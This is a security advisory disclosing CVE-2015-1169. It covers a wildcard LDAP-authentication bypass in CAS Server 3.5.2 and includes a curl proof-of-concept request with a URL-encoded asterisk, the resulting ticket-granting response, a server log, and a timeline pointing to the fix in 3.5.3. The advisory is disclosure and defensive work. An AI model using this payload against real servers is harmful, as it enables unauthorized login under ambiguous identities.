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=====[Alligator Security Team - Security Advisory]======== CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards. Reporter: José Tozo < juniorbsd () gmail com > =====[Table of Contents]================================== 1. Background 2. Detailed description 3. Other contexts & solutions 4. Timeline 5. References =====[1. Background]====================================== CAS is an authentication system originally created by Yale University to provide a trusted way for an application to authenticate a user. =====[2. Detailed description]============================ A valid username and password required. Given a username johndoe and a password superpass, you can sucessfully achieve login using wildcards: username: jo* password: superpass The login will be sucessfully only if the ldap bind search return one unique member. The vulnerability described in this document can be validated using the following example: Client Request: root@machine:/# curl -k -L -d "username=jo%2A&password=superpass" https://login.cas-server.com/v1/tickets (note that * was url encoded to %2A) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>201 The request has been fulfilled and resulted in a new resource being created</title> </head> <body> <h1>TGT Created</h1> <form action=" https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz" method="POST">Service:<input type="text" name="service" value=""><br><input type="submit" value="Submit"></form> </body> </html> Server log: ============================================================= WHO: [username: jo*] WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz ACTION: TICKET_GRANTING_TICKET_CREATED APPLICATION: CAS WHEN: Tue Jan 20 18:38:17 BRST 2015 CLIENT IP ADDRESS: xxx.xxx.xxx.xxx SERVER IP ADDRESS: xxx.xxx.xxx.xxx ============================================================= =====[3. Other contexts & solutions]====================== In order to apply the patch, you have to update at least to version 3.5.3. Newer versions, such as CAS 4.0.0 and above, are not vulnerable. =====[4. Timeline]======================================== 29/12/14 Vendor notification. 14/01/15 Vendor rolled out new version 3.5.3 17/01/15 Mitre assigned CVE-2015-1169. 21/01/15 Disclosure date. =====[5. References]======================================= 1 - https://github.com/Jasig/cas/pull/411 2 - https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c -- Grato, Tozo Source
